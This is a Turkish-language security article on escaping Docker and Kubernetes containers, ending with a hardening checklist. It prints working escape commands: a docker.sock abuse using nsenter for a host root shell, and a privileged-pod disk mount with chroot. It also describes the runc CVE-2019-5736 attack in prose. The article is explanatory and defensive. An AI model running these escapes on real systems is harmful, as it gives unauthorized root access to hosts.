Container Breakout: Docker ve Kubernetes'te Ayrıcalık Yükseltme Metodolojisi
Araştırma Kategorisi • Bulut & Konteyner Güvenliği
Container Breakout: Docker ve Kubernetes'te Ayrıcalık Yükseltme Metodolojisi
Konteyner teknolojileri geliştirici verimliliğini artırmakla birlikte, hatalı yapılandırıldığında saldırganların saniyeler içinde host işletim sistemine root olarak sıçramasına imkan tanır. Bu makalede Docker ve Kubernetes'teki en kritik kaçış vektörlerini, gerçek CVE'leri ve savunma yapılandırmalarını inceliyoruz.
1. Konteyner İzolasyonunun Temelleri ve Sınırları
Docker, sanal makine değil; Linux çekirdeğinin namespaces (pid, net, mnt, uts, ipc) ve cgroups özelliklerini kullanan bir izolasyon katmanıdır. Temel fark: VM'ler ayrı çekirdek çalıştırır, konteynerler ana makineyle aynı çekirdeği paylaşır. Bu paylaşım, hatalı yapılandırmalarda saldırı yüzeyini dramatik biçimde genişletir.
2. /var/run/docker.sock: En Tehlikeli Misconfiguration
Bir konteyner içine docker.sock mount edilirse, konteyner dışarıya Docker daemon'a komut verebilir. Bunu CI/CD sistemlerde sıkça görürüz.
volumes:
- /var/run/docker.sock:/var/run/docker.sock
# Konteyner içinden kaçış
docker -H unix:///var/run/docker.sock run -it \
--privileged --pid=host --net=host \
-v /:/hostfs ubuntu nsenter -t 1 -m -u -n -i -- bash
# Artık host üzerinde root shell'desiniz!
3. CVE-2019-5736 (runc): Konteynerden Gerçek Kaçış
Bu CVE, runc binary'sinin konteyner içinden üzerine yazılmasına izin vererek host üzerinde root kodu çalıştırmayı sağlıyordu. Etkilenen sürümler: Docker 18.09.2 öncesi.
docker exec -it victim_container bash
# Konteyner içinde /proc/self/exe üzerinden runc'u okuyor
# ve kendi binary'siyle değiştiriyor. Sonraki docker exec
# komutunda host üzerinde root shell çalışıyor.
4. Kubernetes Privileged Pod Kaçışı
Kubernetes'te securityContext.privileged: true ayarı, konteynere tüm cihaz dosyalarına erişim verir. Saldırgan /dev/sda gibi disk bölümünü mount ederek host dosya sistemine ulaşabilir.
spec:
containers:
- name: breakout
image: ubuntu
securityContext:
privileged: true
# Pod içinden host disk'i mount et
mkdir /host && mount /dev/sda1 /host
chroot /host bash
5. Güvenlik Sıkılaştırma Rehberi
- ✓ Docker.sock'u hiçbir konteynere mount etmeyin. CI/CD için API alternatifi kullanın.
- ✓ Tüm konteynerleri root olmayan kullanıcı ile çalıştırın:
USER nonroot - ✓ Kubernetes'te Pod Security Admission (PSA) ile
privilegedpod'ları yasaklayın. - ✓ Seccomp ve AppArmor profilleri ile sistem çağrılarını sınırlandırın.
- ✓ gVisor veya Kata Containers gibi güçlü izolasyon sandbox'ları değerlendirin.